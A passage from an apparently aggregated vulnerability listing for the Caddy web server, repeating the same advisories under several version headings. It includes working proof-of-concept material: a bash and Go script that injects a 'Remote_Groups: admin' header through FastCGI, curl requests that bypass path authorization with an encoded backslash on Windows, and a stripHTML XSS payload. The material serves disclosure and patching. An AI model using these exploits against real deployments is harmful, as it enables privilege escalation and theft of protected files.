			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 14, 2019

v1.0.2 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 13, 2019

v1.0.1 patch

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
    var inTag, inQuotes bool
    var tagStart int
    for i, ch := range s {
        if inTag {
            if ch == '>' && !inQuotes {
                inTag = false
            } else if ch == '<' && !inQuotes {
                // false start
                buf.WriteString(s[tagStart:i])
                tagStart = i
            } else if ch == '"' {
                inQuotes = !inQuotes
            }
            continue
        }
        if ch == '<' {
            inTag = true
            tagStart = i
            continue
        }
        buf.WriteRune(ch)
    }
    if inTag {
        // false start
        buf.WriteString(s[tagStart:])
    }
    return buf.String()
}

POC

Caddyfile setup

:8080 {
    root * ./site
    file_server
    templates
}

Template file (index.html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>StripHTML Bypass Test</title>
</head>
<body>
    <p>{{ stripHTML "<<>img src=x onerror=alert('XSS')>" }}</p>
</body>
</html>

The payload exploits the false start branch to smuggle a literal < back into the output, then uses the following > to terminate the parser’s tag state, leaving a valid <img ...> tag behind.

Tested in v2.11.3

Impact

Malformed HTML can bypass stripHTML, potentially allowing arbitrary HTML or JavaScript to be rendered if the output is used unsafely, leading to client-side XSS.

AI Disclosure

AI assisted in writing the report description; however, the discovery of the issue has been done manually.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52845 GHSA-f59h-q822-g45g GO-2026-5346 Jun 16, 2026

Caddy: FastCGI header normalization bypass in `forward_auth copy_headers`

8.1 / 10

High

Network Low Low None Unchanged High High None

Summary

forward_auth copy_headers deletes the exact client-supplied identity header before copying the trusted value from the auth gateway. But when the request later goes through php_fastcgi, Caddy normalizes HTTP headers into CGI variables by replacing - with _.

This lets a client send an underscore alias that survives the forward_auth delete step but becomes the same PHP/FastCGI variable:

Remote-Groups  -> HTTP_REMOTE_GROUPS
Remote_Groups  -> HTTP_REMOTE_GROUPS

Remote-User    -> HTTP_REMOTE_USER
Remote_User    -> HTTP_REMOTE_USER

Result: a remote client can inject or sometimes override identity/group headers trusted by PHP/FastCGI applications behind Caddy.

Details

forward_auth copy_headers intentionally removes client-controlled headers before setting values from the auth response:

modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:212
modules/caddyhttp/reverseproxy/forwardauth/caddyfile.go:222

That delete is exact-field deletion through http.Header.Del():

modules/caddyhttp/headers/headers.go:255
modules/caddyhttp/headers/headers.go:281

So deleting Remote-Groups does not delete Remote_Groups.

Later, FastCGI exports all request headers into CGI variables:

modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:410
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:414
modules/caddyhttp/reverseproxy/fastcgi/fastcgi.go:510

The normalizer replaces hyphens with underscores:

strings.NewReplacer(" ", "_", "-", "_")

So the trusted header and the attacker-controlled alias collide in the backend-visible CGI/PHP namespace.

This is distinct from GHSA-7r4p-vjf4-gxv4. That issue allowed exact copied headers to survive. This report reproduces after the exact-header fix because the bypass uses a different HTTP field name that only becomes equivalent during Caddy's FastCGI export.

PoC

Run from the Caddy repository root with bash:

set -euo pipefail

tmpdir=$(mktemp -d /tmp/caddy-fastcgi-header-collision.XXXXXX)
mkdir -p "$tmpdir/www"
printf '<?php echo "ok"; ?>\n' > "$tmpdir/www/index.php"

cat > "$tmpdir/servers.go" <<'GO'
package main

import (
	"fmt"
	"log"
	"net"
	"net/http"
	"net/http/fcgi"
)

func main() {
	go func() {
		mux := http.NewServeMux()
		mux.HandleFunc("/auth", func(w http.ResponseWriter, r *http.Request) {
			w.Header().Set("Remote-User", "alice")
			w.WriteHeader(http.StatusNoContent)
		})
		log.Fatal(http.ListenAndServe("127.0.0.1:19011", mux))
	}()

	ln, err := net.Listen("tcp", "127.0.0.1:19010")
	if err != nil {
		log.Fatal(err)
	}
	log.Fatal(fcgi.Serve(ln, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		fmt.Fprintf(w, "HTTP_REMOTE_USER=%s\nHTTP_REMOTE_GROUPS=%s\n",
			r.Header.Get("Remote-User"),
			r.Header.Get("Remote-Groups"))
	})))
}
GO

cat > "$tmpdir/Caddyfile" <<EOF
{
	admin off
	auto_https off
	debug
}

:9082 {
	log
	root * $tmpdir/www
	forward_auth 127.0.0.1:19011 {
		uri /auth
		copy_headers Remote-User Remote-Groups
	}
	php_fastcgi 127.0.0.1:19010
}
EOF

cleanup() {
	kill "${caddy_pid:-}" "${servers_pid:-}" 2>/dev/null || true
}
trap cleanup EXIT

go run "$tmpdir/servers.go" >"$tmpdir/servers.log" 2>&1 &
servers_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/19011) >/dev/null 2>&1 &&
	   (echo > /dev/tcp/127.0.0.1/19010) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

go run ./cmd/caddy run --config "$tmpdir/Caddyfile" --adapter caddyfile >"$tmpdir/caddy.log" 2>&1 &
caddy_pid=$!

for i in $(seq 1 80); do
	if (echo > /dev/tcp/127.0.0.1/9082) >/dev/null 2>&1; then
		break
	fi
	sleep 0.25
done

curl --noproxy '*' -v http://127.0.0.1:9082/index.php
curl --noproxy '*' -v -H 'Remote_Groups: admin' http://127.0.0.1:9082/index.php
cat "$tmpdir/caddy.log"

Observed on commit 6c675e29f87cbe7326983ddb6d739175119d394c:

Baseline:

> GET /index.php HTTP/1.1
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=

With attacker header:

> GET /index.php HTTP/1.1
> Remote_Groups: admin
< HTTP/1.1 200 OK

HTTP_REMOTE_USER=alice
HTTP_REMOTE_GROUPS=admin

Caddy debug log confirms the FastCGI environment contained:

"HTTP_REMOTE_USER": "alice"
"HTTP_REMOTE_GROUPS": "admin"

The auth gateway returned Remote-User: alice only. It never returned Remote-Groups.

Impact

This affects Caddy deployments that use:

forward_auth with copy_headers for identity or authorization headers;
php_fastcgi / FastCGI after the auth check;
a PHP/FastCGI application that trusts the resulting HTTP_* variables.

Impact examples:

deterministic group/role injection when the auth gateway omits an optional header, e.g. Remote_Groups: admin becomes HTTP_REMOTE_GROUPS=admin;
probabilistic user impersonation when both the auth gateway and client provide colliding identity headers, e.g. Remote-User and Remote_User both map to HTTP_REMOTE_USER.

Realistic examples include trusted-header SSO deployments such as Firefly III remote_user_guard using HTTP_REMOTE_USER, or MediaWiki Auth_remoteuser using HTTP_X_AUTHENTIK_USERNAME.

AI disclosure

The LLM was used to help analyze the Caddy codebase, compare relevant code paths, draft the report, and organize reproduction steps. Human security research judgment and insight were used to guide the investigation, validate the root cause, run the local reproduction, assess impact, and make the final report conclusions.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2026-52844 GHSA-qrp7-cvwr-j2c6 GO-2026-5595 Jun 16, 2026

Caddy: Windows `file_server` path authorization bypass via encoded backslash

7.5 / 10

High

Network Low None None Unchanged High None None

Summary

On Windows, Caddy path matchers treat /private\secret.txt as outside /private/*, but file_server later resolves the same request path as private\secret.txt on disk.

An unauthenticated remote client can request /private%5csecret.txt and bypass Caddy path-scoped auth/deny routes protecting /private/*.

Details

The mismatch is between two Caddy code paths:

MatchPath.MatchWithError() compares r.URL.Path using URL path semantics and does not normalize \ to /: modules/caddyhttp/matchers.go:429, :436, :490, :532.
If the route matcher misses, Caddy skips that route: modules/caddyhttp/routes.go:271.
file_server then maps the same request path to a filesystem path with SanitizedPathJoin(root, r.URL.Path): modules/caddyhttp/fileserver/staticfiles.go:294, modules/caddyhttp/caddyhttp.go:257, :263.
On Windows, Go filesystem path handling treats \ as a separator, so the default filesystem opens the file under the protected directory: internal/filesystems/os.go:18.

This is related to, but distinct from, GHSA-4xrr-hq4w-6vf4 / CVE-2026-27585. That advisory fixed backslash handling in the file matcher / try_files glob path. This report does not use try_files or the file matcher; it affects ordinary path route matchers in front of direct file_server serving and reproduces on current HEAD.

PoC

Tested on current HEAD 6c675e29f87cbe7326983ddb6d739175119d394c with a Windows caddy.exe built from this repository.

On Windows, create the test files and Caddyfile:

$base = "C:\Users\Public\caddy-backslash-poc"
Remove-Item -Recurse -Force $base -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force "$base\www\private" | Out-Null
Set-Content -Path "$base\www\private\secret.txt" -Value "SECRET_FROM_WINDOWS_LAB" -NoNewline -Encoding ASCII

@'
{
	debug
	admin off
	auto_https off
}

:19080 {
	log
	root * C:\Users\Public\caddy-backslash-poc\www

	@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII

Start Caddy:

cd C:\Users\Public\caddy-backslash-poc
.\caddy.exe run --config Caddyfile --adapter caddyfile

Baseline request, expected to be blocked:

curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden

Bypass request:

curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB

Uppercase %5C produces the same result.

Relevant debug log lines:

{"msg":"using config from file","file":"C:\\Users\\Public\\caddy-backslash-poc\\Caddyfile"}
{"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private/secret.txt"},"status":403}
{"logger":"http.log.access","request":{"method":"GET","uri":"/private%5csecret.txt"},"status":200}

Impact

This is a Windows-only remote authorization bypass for deployments that protect static subtrees with Caddy path matchers before file_server.

This pattern is documented by Caddy itself, for example basic_auth /secret/* { ... } followed by file_server.

An attacker can read files that were intended to be protected by Caddy-side basic_auth, respond 403, or other path-scoped handlers. The issue does not escape the configured site root; ..%5c traversal is still blocked. The practical impact is sensitive file disclosure inside the protected subtree, with higher impact if that subtree contains backups, database files, exported admin data, credentials, or signing/session secrets.

Suggested Fix

Normalize Windows path separators consistently before MatchPath evaluates request paths, or reject request paths containing \ before file_server resolves them as filesystem separators.

The important invariant is that a request path used for route authorization must not later resolve to a different protected filesystem path.

AI Disclosure

LLM assistance was used for codebase analysis and report drafting. The PoC was manually validated, including an end-to-end reproduction on a Windows Server lab host using a Windows caddy.exe built from current HEAD.

References

Updated Jul 24, 2026 · Source: OSV.dev

CVE-2022-29718 GHSA-2927-hv3p-f3vp Jun 03, 2022

Open redirect in caddy

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Caddy v2.4 was discovered to contain an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect users to arbitrary web URLs by tricking the victim users to click on crafted links.

Fixed in


          2.5.0

References

Updated Sep 10, 2026 · Source: OSV.dev

Jul 02, 2019

v1.0.0 major

4 CVEs

CVE-2026-52846 GHSA-vcc4-2c75-vc9v GO-2026-5660 Jun 16, 2026

Caddy: stripHTML template function bypass

4.2 / 10

Medium

Network High None Required Unchanged Low Low None

Summary

Caddy’s stripHTML template function cannot reliably remove all HTML tags from input strings. Certain malformed HTML, such as <<>img src=x onerror=alert()>, can bypass the tag-stripping logic, potentially leaving dangerous content in the output if it is later rendered as HTML. This may allow client-side XSS in cases where untrusted strings are rendered unsafely.

Details

The vulnerability originates from funcStripHTML in:

caddy/caddy/caddyhttp/templates/tplcontext.go

func (TemplateContext) funcStripHTML(s string) string {
    var buf bytes.Buffer
